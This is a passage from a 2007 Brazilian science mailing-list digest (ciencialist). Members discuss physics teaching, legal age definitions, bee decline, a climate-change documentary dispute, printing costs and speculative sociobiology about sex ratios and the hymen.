> material didático para consulta -> "escolha qual quiser"). Está tudo e
> pdf.<
>
> Essa é a resposta que darei ao consulente. Agradeço.
>
> >Porém, sabemos que esses meninos não querem livros, querem respostas
> prontas para as perguntas do professor. :)<
>
> Não são só os alunos que não querem nada com nada! Já viu como os
> 'formandos' fazem seus TCCs atualmente? Tudo tercerizado ... os
menos ruins
> copy/past!
> Semana passada tive um professor de física perguntando o que vem a ser
> 'garrafa de leidim'.
>
> >Além disso, Cinemática Escalar, ninguém merece mesmo! :))) Abraços, JC<
>
> Eu tiraria a Cinemática do 1º ano do ensino médio; deixaria a óptica
> geométrica para iniciar o ano e complementaria o ano com estática e
> hidrostática (noção íntuitiva' de velocidade, quando necessário). Ou
algo do
> gênero; cinemática é basicamente estudo das funções, coisa que o aluno
> poderia aprender (funções, noções de limite, derivada) na matemática
do 1º
> ano.
>
> aquele abraço,
>
> Léo
>
> ===============
>
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> http://www.ciencialist.com
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> Para alterar a categoria classificada, visite
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http://mail.terra.com.br/cgi-bin/imail.cgi?+_u=jrma&_l=1,1177415917.333676.25054.curepipe.hst.terra.com.br,6313,Des15,Des15
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> Checked by AVG Free Edition.
> Version: 7.5.463 / Virus Database: 269.5.10/774 - Release Date:
23/4/2007
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>






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Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 269.5.9/773 - Release Date: 22/4/2007 20:18


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: Física
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 03:15

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Curioso: eu sou o primeiro de quem pedem a cabeça...nsilvio....

Claro, vc é um cordeiro... animal sacrificial por excelência.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: ABSTINÊNCIA SEXUAL
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 06:40

A palavra idoso trás com ela a pecha de fim, do já era, está no começo do fim, "senhor de
respeito", incapaz, brocha. Por aí. Além de ficar, por assim dizer, transparente à maioria dos observadores e observadoras,
principalmente estes últimos referenciais...nem tão inerciais. Sobretudo em alguns aspectos que mexem com certos "brios".
Há exceções, mas tão poucas que um montão desse tamanho não enche sequer um xícara.
Encaixado na norma, imposta pela lei que define tal limite, o "idoso legal" está roubado e mal pago.
Não arranja mais emprego; concursos? Esqueça. Sente-se envergonhado de participar de algum curso, num meio adulto,
de não-idosos, não se sentindo à vontade para estar num meio, qualquer, que esteja fora de sua faixa
de "idoso". O próprio meio, na surdina, parece discriminá-lo. Brancamente. Empresas privadas, com raríssimas exceções,
sequer fazem entrevistas, pois costuma limitar a idade, num limite bem lá embaixo. Não querem nem saber.
Está certo que estes últimos óbices já valem para quem atingiu a marca dos 40rentinhas. Ou estaria enganado, também?
Assim caminha a humanidade, e é assim que ela vai vendo tais desatinos.
E o pior é que uma grande maioria de "idosos" assume isso, numa boa, quando se prevalce dessa condição "legal" para furar filas,
ou ir para as filas estabelecidas pela "lei", com os etcéteras permanentes. Bem, esses realmente são idosos! Deus que me livre disso!
Refiro-me aos que não o são, apesar do "concenso", e da malfadada lei. Parece até que o jeitinho brasileiro encontra sua maior
expressão aí, nesse contexto, de maneira legal. Muitos goistam!
Particularmente, acho tal coisa, à semelhança daquela ridícula "norma" de quotas para negros(que é um exacerbamento legal e descarado de discriminação racial, que muitos aceitam...) uma falta de respeito e uma violência ao ser humano. Uma redução à condiçõe de pobrezinhos, que merecem caridade, os coitadinhos...É uma condenação branca à condição que todos temem atingir, um dia: de incapacitado, fora do contexto. Há exceções, menos de uma xícara de chá, é verdade.
A maioria das pessoas que conheço, com mais de 60 anos, é capaz intelectual e físicamente, e não aceita tais disparates. Trabalha, produz, e se recusa ir para filas "especiais"(alguns, se não houver conhecidos por perto, se por aquí não tem ninguém, por alí também não vem, até arriscam...). É claro que muitas funções já não são mais como antigamente, digamos, de uns 10 ou 20 anos atrás. Mas somos uma máquina bem organizada, pode-se aceitar naturalmente isso, a ferrugem e os mecanismos e ferramentas de armar devendo-se ao desgaste natural. Para o sexo oposto, não haverá problemas com ao menos uma de suas ferramentas: a de abrir. Eis uma superioridade.

Então, é muito bom que alguém vá pensando num jeito de sermos reduzidos a dimensões atômicas, e nos danarmos espaço a dentro com velocidade de 0,99995c, para congelar o andar da carruagem nossa de cada dia, por exemplo. Quando voltarmos, quem por cá ficou já não terá dentes e cabelos; depois de "desreduzidos", ficaremos "jóia", pronto prá créu, em suas descendentes.
Sugestão: que a tampa voe, mas não ultrapasse os 60ssentinhas, estou avisando, senão...
Eu mesmo irei morrer com 105 anos, mas não passarei dos 60. Nem que a tampa voe. Se já não estiver querendo voar...

Isto é no que dá ter insônia.

Sds,
Victor.




----- Original Message -----
From: J.Victor
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 25, 2007 6:23 PM
Subject: Re: [ciencialist] Re: ABSTINÊNCIA SEXUAL


Takata,

Grato pela aprimorada resposta.

Sds,
Victor.

----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 25, 2007 2:49 PM
Subject: [ciencialist] Re: ABSTINÊNCIA SEXUAL

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
> 1) quando se pode considerar alguém com uma tal SEGUNDA IDADE?
> 2) e com TERCEIRA IDADE? (Infelizmente parece que não exista uma
> QUARTA IDADE. Morre-se antes)
> Posso chamar alguém de IDOSO, a partir de de que idade?

Depende do contexto. Legalmente há definições de criança, adolescente,
maior de idade (criminal, civil) e idoso. Pelas leis brasileiras:

Criança: pessoa até doze anos de idade incompletos. (LEI 8.069/1990 -
art. 2o)
Idoso: pessoa com idade igual ou superior a 60 (sessenta) anos. (LEI
10.741/2003 - art. 1o)

A maioridade civil é atingida com 18 anos (salvo alguns casos
específicos), assim o adolescente é a pessoa entre 12 e 18 anos e o
adulto não-idoso a pessoa entre 18 e 60 anos. (A definição exata de
criança e idoso varia de acordo com a lei específica.)

Do ponto de vista biológico, existem o indivíduo imaturo (indivíduo q
ainda não é capaz de se reproduzir), o maduro (indivíduo capaz de se
reproduzir) e, eventualmente, o senil (indivíduo com sua capacidade
reprodutiva diminuída pela idade e em processo de degenerescência
biológica).

Entre o sistema legal e o biológico há a construção cultural (embora o
sistema legal tb seja uma construção cultural). Aí entram as tais
primeira, segunda e terceira idades.

Dentro da tradição médica há outras subdivisões q tb se relacionam com
as construções culturais:
- recém-nascido ou neonato: até um mês desde o nascimento;
- bebê: até ser capaz de caminhar ou até um ano;
- criança: até o início da puberdade;
- adolescente: fase de transição da infância à maturidade;
- adulto jovem:
- adulto idoso.

[]s,

Roberto Takata

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Fw: Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 09:08

Roberto,

'cordeiro' não é aquele que dá corda? :-)

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 26 de abril de 2007 03:15
Assunto: [ciencialist] Re: Fw: Física


--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Curioso: eu sou o primeiro de quem pedem a cabeça...nsilvio....

Claro, vc é um cordeiro... animal sacrificial por excelência.

[]s,

Roberto Takata






SUBJECT: Re: [ciencialist] Re: Fw: Física
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 11:46

Mestre Takata:

Nos dê uma aula de biologia sobre dois tópicos:
a) ass abelhas estão mesmodesaparecendo? nos EUA não encontraram nem os corpos nas áreas de concentração apícola e
b) Se elas forem extintas, tem fundamento a radiação dos celulares? Há riscos de extinção de culturas básicas (comodities) por falta de polinização?

obrigado,

ego non sunt agnus dei.
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 26, 2007 3:15 AM
Subject: [ciencialist] Re: Fw: Física


--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Curioso: eu sou o primeiro de quem pedem a cabeça...nsilvio....

Claro, vc é um cordeiro... animal sacrificial por excelência.

[]s,

Roberto Takata






------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: Física
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 13:01

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> a) ass abelhas estão mesmodesaparecendo? nos EUA não encontraram nem
> os corpos nas áreas de concentração apícola e

Segundo algumas pesquisas sim. Não é precico encontrar corpos, basta q
não se encontrem abelhas (em armadilhas especiais). O desaparecimento
não significa necessariamente uma aumento súbito da mortandade, pode
dar-se por uma redução na fertilidade, por exemplo.

> b) Se elas forem extintas, tem fundamento a radiação dos celulares?

O q uma coisa tem a ver com a outra?

> Há riscos de extinção de culturas básicas (comodities) por falta de
> polinização?

Para a fruticultura sim - bem, não necessariamente de extinção, mas
enfrentaria sérios problemas. Para o cultivo de gramíneas, polinizadas
pelos ventos, não diretamente.

[]s,

Roberto Takata



SUBJECT: Percepcao do brasileiro sobre C&T
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 13:33

Saiu o resultado da pesquisa encomendada pelo MCT sobre a percepção da
população a respeito de ciências e tecnologia.

Percepção Pública da Ciência e Tecnologia.
http://www.mct.gov.br/upd_blob/13462.ppt

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Física
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 13:41

Pelo menos foi isso que ficou claro nas mensagens dos moderadores, José
Carlos. O que chama atenção é a pretensão de desqualificar um relato feito a
mais de três mil anos sem o devido discernimento. É a partir desses escritos
antigos que a humanidade foi se estruturando passo- a-passo no conhecimento
do mundo e na arte da convivência e relacionamento
político-econômico-social. É como alguns ainda acham engraçado o 14 Bis voar
algumas centenas de metros, a 25km/h e ainda ser notícia no mundo todo.
Lembro quando ainda era adolescente e passou o primeiro avião a jato sobre
nossa casa. Chamamos nossa avó com desafiante orgulho, para lhe mostrar que
éramos da "era do jato". Ela olhou, sorriu e comentou: muito interessante,
mas não é tão surpreendente, lembro que o que surpreendeu a todos que
estavam próximos de nós, foi assistir Santos Dumont manobrar seu dirigível,
estacionar no alto dos prédios e descer para tomar um café, em Paris... Foi
preciso Leonardo Da Vince e muitos outros estudar aerodinâmica, desenhar
projetos, testar, falhar, recomeçar, para que a aeronáutica chegasse ao
progresso que hoje apresenta. Olhar os textos antigos sem o enfoque
histórico devido é tolo anacronismo...

[]s

JR
................................................

From: "José Carlos Antonio" <profjc2003@To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, April 26, 2007 12:45 AM
Subject: [ciencialist] Re: Fw: Física


Textos bíblicos não se discutem. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Senhores, José Carlos e Luiz!
>
> Se vcs continuarem a discutir textos bíblicos com esse conhecimento
> que vcs demonstram possuir, serão excluídos da lista ou severamente
> de punidos com um curso básico de catecismo aos sábados de tarde.
>
> O que o aluno parece desconhecer é matemática escalar, cálculo
> vetorial e assessórios. Tenho dúvidas se ele já teve aula sobre isso
> antes ou nesse primeiro ano do curso médio.
>
> []s
>
> JR
> ...........................................
>
> From: "Luiz Ferraz Netto" <leobarretos@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 24, 2007 8:37 AM
> Subject: Re: [ciencialist] Re: Fw: Física
>
>
> Olá JC, no texto abaixo.
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br
> ===========================
>
>
> >Oi Léo,
> Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)<
>
> Não me incomodo. Os 'alertas' são sempre bem vindos! Se bem que
"errar é
> humano", bem longe de meu caso! :-)
>
> >Mas, falando sério, nada contra postar as dúvidas dos consulentes
> desde que se possa também postar as dúvidas do José Renato e do
> Ferrari. A diferença entre eles não é assim tão grande quando se trata
> de entender de "Física". :)<
>
> Vc já imaginou eu indicando o GREF, Telecurso2000, Westhpal etc., para
> ambos? Jamais faria isso! Eu indicaria as páginas da bíblia, do
Alcorão etc.
> para sanar quaisquer dúvidas científicas. Ainda bem que a arca de
noé não
> decolou! Pobre dilúvio que 'cobriu toda a terra', onde estarão essas
águas
> hoje? foram para o espaço? A terra subiu? Noé, pobre pescador, não
poude nem
> pescar durante os 40 dias e noites --- pois só levou um casal de
minhocas!
> Para encerrar esse parágrafo: Ambos não têm dúvidas, eles têm
certezas! O
> que dogmas não fazem com as pessoas!
>
> >Recomende ao Cristian que baixe livros online de boa qualidade. Eles
> podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
> site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
> menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
> material didático para consulta -> "escolha qual quiser"). Está tudo e
> pdf.<
>
> Essa é a resposta que darei ao consulente. Agradeço.
>
> >Porém, sabemos que esses meninos não querem livros, querem respostas
> prontas para as perguntas do professor. :)<
>
> Não são só os alunos que não querem nada com nada! Já viu como os
> 'formandos' fazem seus TCCs atualmente? Tudo tercerizado ... os
menos ruins
> copy/past!
> Semana passada tive um professor de física perguntando o que vem a ser
> 'garrafa de leidim'.
>
> >Além disso, Cinemática Escalar, ninguém merece mesmo! :))) Abraços, JC<
>
> Eu tiraria a Cinemática do 1º ano do ensino médio; deixaria a óptica
> geométrica para iniciar o ano e complementaria o ano com estática e
> hidrostática (noção íntuitiva' de velocidade, quando necessário). Ou
algo do
> gênero; cinemática é basicamente estudo das funções, coisa que o aluno
> poderia aprender (funções, noções de limite, derivada) na matemática
do 1º
> ano.
>
> aquele abraço,
>
> Léo
>
> ===============



SUBJECT: Re: "A Grande Fraude do Aquecimento Global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 13:46

ESTADÃO, 15-04-2007

Cientistas exigem mudanças em filme que questiona efeito estufa

"Associated Press

Carta aberta divulgada na terça-feira, 24, e assinada por 38
cientistas, incluindo ex-presidentes da Royal Society e do serviço
meteorológico nacional, exige que a Wag TV, produtora de The Great
Global Warming Swindle ('A Grande Fraude do Aquecimento Global')
retirem do documentário o que chamam de 'graves distorções' -
requisição que o diretor da obra compara a um ato de censura.

'A liberdade de expressão não vai ao ponto de enganar o público por
meio de afirmações factualmente incorretas', disse Bob Ward,
ex-porta-voz da Royal Society e um dos signatários. 'Alguém tem que
defender o interesse público nesta questão'.

Segundo Ward, o diretor do filme, Mark Durkin, cometeu uma 'longa
série de erros profundos e fundamentais', incluindo a alegação de que
vulcões geram mais CO2 que a atividade humana, e que a atmosfera da
Terra era mais quente na Idade Média do que hoje.

Ward também já apresentou uma queixa ao órgão regulador dos meios de
comunicação do Reino Unido. As leis britânicas de radiodifusão exigem
que material sobre controvérsias políticas ou industriais seja
imparcial - e há penas para a distorção de fatos.

Durkin referiu-se à carta como 'nojenta'. 'É uma tentativa desprezível
e covarde de amordaçar a crítica científica, que não funcionará',
disse ele. 'Não creio que estejam interessados em controle de
qualidade na reportagem de ciência - desde que seja a favor deles'.

Durkin reconheceu dois dos erros citados pelos cientistas, incluindo o
referente aos vulcões, mas descreveu as alterações necessárias como
'menores' e disse que constarão do lançamento em DVD." (e)

[notícia completa em:]
http://www.estadao.com.br/especial/global/noticias/2007/abr/25/298.htm
--------------------------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] O que ensinar nas escolas - (era Arca de Noé - era Re: Fw: Física)
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 14:36

Olá JC

Puxa, excelente texto, que eu gostaria de ter escrito..:-) É o que penso, mas dito de forma muito melhor, mais bem elaborada e mais ampla, vou guardar como referência aara a próxima vez (e serão muitas..:-) que alguém me disser que "é bobagem estudar tudo isso na escola, se nunca mais vamos usar"..:-)

Um abraço.

Homero



----- Original Message -----
From: José Carlos Antonio
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, April 26, 2007 12:41 AM
Subject: [ciencialist] O que ensinar nas escolas - (era Arca de Noé - era Re: Fw: Física)


Homero,

Escrevi sobre isso em 2004:

http://www.ciadaescola.com.br/zoom/materia.asp?materia=220

Veja se mudou algo de lá para cá...

Abraços,
JC

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...> escreveu
>
> Olá pessoal
>
> Permitam-me dar uns "pitacos" nessa questão da grade curricular e do
> que ensinar nas escolas. Não sou professor, pelo menos não
> formalmente, mas sempre fico um tanto ressabiado quando escuto que a
> "escola ensina muita bobagem e coisas sem necessidade, como física ou
> logarítimos".
>
> É recorrente que se critique o conteúdo, afirmando que "não serve para
> nada" ou que "eu nunca vou usar isso, para que ter de decorar fórmulas
> de química ou entender equações de segundo grau". Ou mais direcionado
> como "vou ser advogado, para que estudar física e matemática".
>
> Nossa mente, nosso cérebro, como qualquer órgão humano, e qualquer
> processo metabólico, se fortalece com o uso e definha com o desuso.
> Aprendemos para permitir que o cérebro se fortaleça, e parar de
> aprender o faz definhar.
>
> Todas as pesquisas recentes demonstram que manter a atividade
> intelectual, até mesmo com palavras cruzadas, diminui ou mesmo impede
> diversos processos de degeneração cerebral, até Alzheimer.
>
> Além disso, uma educação básica formal permite um melhor exercício de
> cidadania, uma base mais sólida para o pensamento crítico (sempre
> penso que se a população compreendesse melhor a matemática estatística
> e as probabilidades, seria menos vulnerável a charlatões de todos os
> tipos), e ainda permite uma maior auto-estima pessoal.
>
> Entender física, aprender matemática, química, biologia, história,
> etc, a base de todo conhecimento moderno que sustenta nossa
> civilização, não é um esforço "inútil", nem são dispensáveis. No
> mínimo, ele permite fortalecer a mente de forma que esta possa, no
> futuro, aprender outras coisas mais úteis para a vida diária.
>
> O esforço para aprender equações de segundo e terceiro grau, para
> aprender e entender logarítimos, será sempre útil, afiando a mente
> para desafios futuros, uma espécie de "musculação" cerebral. Da mesma
> forma como um jogador de futebol exercita seus braços, e um jogador de
> tênis exercita seu braço esquerdo, precisamos de cada capacidade
> cerebral que possamos desenvolver.
>
> É claro que o currículo escolar pode, e deve, ser ajustado,
> atualizado, revisto, etc. O que era importante ontem pode não ser
> hoje, e como não podemos ensinar TUDO que o conhecimento moderno
> acumulou (acho que a última época em que isso foi possível foi no
> tempo de Leonardo Da Vince), algo deve ser escolhido.
>
> Mas não para facilitar a vida do estudante ou para excluir coisas
> "inúteis". Não há algo como informação ou "cultura inútil", eu penso.
> Toda informação é, ou pode ser, útil, e não sabemos quando isso poderá
> acontecer.
>
> Portanto, não importa que um adulto jamais se lembre de como resolver
> uma equação de segundo grau aprendida no colegial, importa que ao ter
> feito o esforço de aprender, na época, seu cérebro, em um período de
> formação importante, adquiriu mais uma habilidade, se preparou para
> mais uma função cognitiva, que permitirá uma maior capacidade
> intelectual no futuro. Mesmo que esta nada tenha a ver com a equação
> propriamente dita.
>
> Um abraço.
>
> Homero
>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: dureza da'agua
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 16:23

Que dureza!
Cadê los químicos?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: <andreia@bluechemical.com.br>
Para: <leobarretos@uol.com.br>
Enviada em: quarta-feira, 25 de abril de 2007 18:17
Assunto: dureza da'agua


--------------------------- Mensagem Original ----------------------------
Assunto:
De: andreia@bluechemical.com.br
Data: Qua, Abril 25, 2007 18:16
Para: leobarretos@uol.com.br
--------------------------------------------------------------------------


Boa Noite,

Prezado Sr. Luiz Ferraz

Preciso que você me ajude a solucionar um problema. Entrei no site
FEIRA DE CIÊNCIAS e encontrei uma matéria sobre água mole e água
dura. Bom, o que eu preciso é o seguinte; Trabalho em um
empresa que fabrica detergente em pó, onde enviamos bastante carga
para o pessoal do nordeste a água desta região é dura, por esse
motivo preciso realizar alguns testes de espuma, mas para isto
tenho que fazer agua com dureza média, alta e muito alta e não
estou conseguindo. Qual seria o procedimento que eu deveria usar?
Estou no aguardo de um retorno o mais breve possivel, desde já agradeço
pela sua atenção.

Atenciosamente,
Andreia A.




--
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SUBJECT: Re: [ciencialist] Re: Em busca de uma nova ordem
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 16:47

Takata:

Estou impressionado com o preço: editei um livro na Bahia, 1.000 exemplares, a autora pagou 13 reais... (a editora mandou uma datilógrafa para fazer o serviço de
composição).

A diferença é muito grande!!!.

uma boa tarde,

silvio.
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, April 24, 2007 5:13 PM
Subject: Re: [ciencialist] Re: Em busca de uma nova ordem


R. Takata informa:

> Aqui em Sampa vc consegue - a partir de 1.000
cópias - um custo de 4 reais por exemplar (com 100 págs.): em gráfica
(não xerox).<

Estou super-interessado nisso! Pode me enviar (PVT) mais dados? A Livraria da Física tá super-morosa na publicação do primeiro volume (dos 15) do Feira de Ciências. Essa informação acima resolveria meu problema.

agradeço,

[]'

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================





------------------------------------------------------------------------------


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 17:27

De acordo com o darwinismo, faz sentido que homens de alta hierarquia
tenham mais filhos homens, e homens de baixa hierarquia tenham mais
filhas mulheres. Mas parece que isso não ocorre. Está certo que a
seleção natural não necessariamente percorre os melhores caminhos
possíveis, mas parece um passo tão simples inibir ou estimular a
produção de espermatozóides Y de acordo com a concentração de
serotonina ou testosterona. Talvez a resposta seja que, no ambiente
ancestral, um filho de um homem de alta hierarquia não
necessariamente teria alta hierarquia. Ou então que no ambiente
ancestral a forma de organização social fosse um matriarcado tipo o
dos bonobos (o que acho improvável), no qual o prestígio de um homem
é dado pelo prestígio de sua mãe. Para uma mulher poder definir se
seu filho será homem ou mulher pode ser um passo evolutivo mais
complicado.

Outra questão. Alguém sabe se a função do hímen é anatômica ou
social? Eu creio que o hímen é uma espécie de lacre que garante a
virgindade de uma mulher de forma a aumentar o seu valor no mercado
matrimonial.

João de Carvalho.




SUBJECT: RES: [ciencialist] Questões sociobiológicas
FROM: "Ivan Carlos" <icarlos@icarlos.net>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 17:47

A sugestão dada pelo João é de que o hímen não estaria presente em mulheres antes de nos organizarmos socialmente? Cadelas, alguns eqüinos, diversos animais ainda possuem hímen, ou seja, é um resquido da formação dos mamíferos.

Pensando em sua utilidade anatômica, acredito que seria uma barreira contra infecções e entrada de objetos estranhos que possam agredir o colo do útero.

Ou não estou acompanhando meu raciocínio?

[]'s!


Ivan "Doomer" Carlos - CIO / Social Eng. Specialist
E-mail / Skype / WLM: icarlos@icarlos.net
Cell.: +55 (11) 8112-0666






-----Mensagem original-----
De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br] Em nome de Joao de Carvalho
Enviada em: quinta-feira, 26 de abril de 2007 17:28
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Questões sociobiológicas

De acordo com o darwinismo, faz sentido que homens de alta hierarquia
tenham mais filhos homens, e homens de baixa hierarquia tenham mais
filhas mulheres. Mas parece que isso não ocorre. Está certo que a
seleção natural não necessariamente percorre os melhores caminhos
possíveis, mas parece um passo tão simples inibir ou estimular a
produção de espermatozóides Y de acordo com a concentração de
serotonina ou testosterona. Talvez a resposta seja que, no ambiente
ancestral, um filho de um homem de alta hierarquia não
necessariamente teria alta hierarquia. Ou então que no ambiente
ancestral a forma de organização social fosse um matriarcado tipo o
dos bonobos (o que acho improvável), no qual o prestígio de um homem
é dado pelo prestígio de sua mãe. Para uma mulher poder definir se
seu filho será homem ou mulher pode ser um passo evolutivo mais
complicado.

Outra questão. Alguém sabe se a função do hímen é anatômica ou
social? Eu creio que o hímen é uma espécie de lacre que garante a
virgindade de uma mulher de forma a aumentar o seu valor no mercado
matrimonial.

João de Carvalho.




##### ##### #####

Página de apoio
http://www.ciencialist.com


##### ##### ##### #####
Links do Yahoo! Grupos




SUBJECT: Re: Questões sociobiológicas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 19:04

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> De acordo com o darwinismo, faz sentido que homens de alta
> hierarquia tenham mais filhos homens, e homens de baixa hierarquia
> tenham mais filhas mulheres.

De acordo com o darwinismo faz mais sentido q homens,
independentemente de sua posição social, deixem um maior número de
descendentes viáveis.

Além disso, raramente a posição hierárquica em primatas é fixa ao
longo da vida do indivíduo.

> Outra questão. Alguém sabe se a função do hímen é anatômica ou
> social? Eu creio que o hímen é uma espécie de lacre que garante a
> virgindade de uma mulher de forma a aumentar o seu valor no mercado
> matrimonial.

O difícil é testar essa hipótese.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Documentário: "A Grande Fraude do Aquecimento Global"
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/04/2007 19:09

Não me parece que seja necessário esperar tanto tempo para constatar que
geleiras e limites congelados há cerca de dez mil anos estão se
descongelando pela primeira vez nesse longo período, de forma acelerada
nunca visto antes... Mas, quem se preocupa com isso?!
[]s
José Renato
............................

From: "rmtakata" <roberto.takata@To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 24, 2007 12:04 AM
Subject: [ciencialist] Re: Documentário: "A Grande Fraude do Aquecimento
Global"


--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
> Eminentes cientistas, especialistas em clima e em áreas relacionadas
> ao clima, falam em linguagem simples e apresentam gráficos bastante
> compreensíveis que mostram o contra-senso da histeria do aquecimento
> global.

Daqui a trinta anos poderemos ver se é mm histeria.

[]s,

Roberto Takata



SUBJECT: Re: Em busca de uma nova ordem
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 20:30

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Estou impressionado com o preço: editei um livro na Bahia, 1.000
> exemplares, a autora pagou 13 reais... (a editora mandou uma
> datilógrafa para fazer o serviço de composição).

Se bem o preço é de 2 anos atrás... E depende tb do tipo de papel
usado, se é em cores...

[]s,

Roberto Takata



SUBJECT: Re: RES: [ciencialist] Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 21:20

Olá, Ivan Carlos:

> A sugestão dada pelo João é de que o hímen não estaria presente em
mulheres antes de nos organizarmos socialmente?

Pode ser. Mas é importante observar que nós sempre fomos animais
sociais, desde o início, e antes dele. Nosso ancestral Homo eretus,
provavelmente era social. Nossos parentes mais próximos, os
chipanzés, que divergiram de nós há uns 6 milhões de anos, são
sociais, e provavelmente nosso ancestral comum também era.

> Cadelas, alguns eqüinos, diversos animais ainda possuem hímen, ou
seja, é um resquido da formação dos mamíferos.

Não sabia disso. O que ouvi dizer é que os golfinhos têm hímen.
Também ouvi dizer que os outros primatas não têm. Isso sugere que o
desenvolvimento do hímen na linhagem humana ocorreu de forma
independente de outros animais.

> Pensando em sua utilidade anatômica, acredito que seria uma
barreira contra infecções e entrada de objetos estranhos que possam
agredir o colo do útero.

Pode ser. Pode ser também um caso de pré-adaptação, isto é, uma
estrutura que inicialmente tinha uma função e foi utilizada depois
para outra função. O fato é que o hímen está estrategicamente
colocado na frente do que talvez seja a coisa mais desejada em toda a
existência: O portal para as novas gerações. É difícil pensar que o
hímen tenha ficado imune a pressões sociais. Principalmente quando o
recato sexual feminino é algo valorizado em inúmeras culturas.

Saudações.
João de Carvalho.




SUBJECT: Re: Questões sociobiológicas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/04/2007 21:41

Olá, Takata.

> De acordo com o darwinismo faz mais sentido q homens,
> independentemente de sua posição social, deixem um maior número de
> descendentes viáveis.

Sim. Mas os descendentes serão mais ou menos viáveis dependendo da
posição social e do sexo. Um homem de alta hierarquia pode deixar uma
prole mais numerosa que um de baixa. Já uma mulher de alta hierarquia
não consegue converter sua posição social em prole de forma tão
acentuada quanto um homem. Já um indivíduo de baixa hierarquia, se
for homem, tem menos chances de acasalar que uma mulher. É mais
provável que uma mulher acenda socialmente através do casamento que
um homem. A seleção natural deveria ter percebido isso.

> Além disso, raramente a posição hierárquica em primatas é fixa ao
> longo da vida do indivíduo.

Talvez essa possa ser a explicação. Além do que, a hierarquia nos
grupos humanos é mais sutil que em outros primatas. Mas mesmo
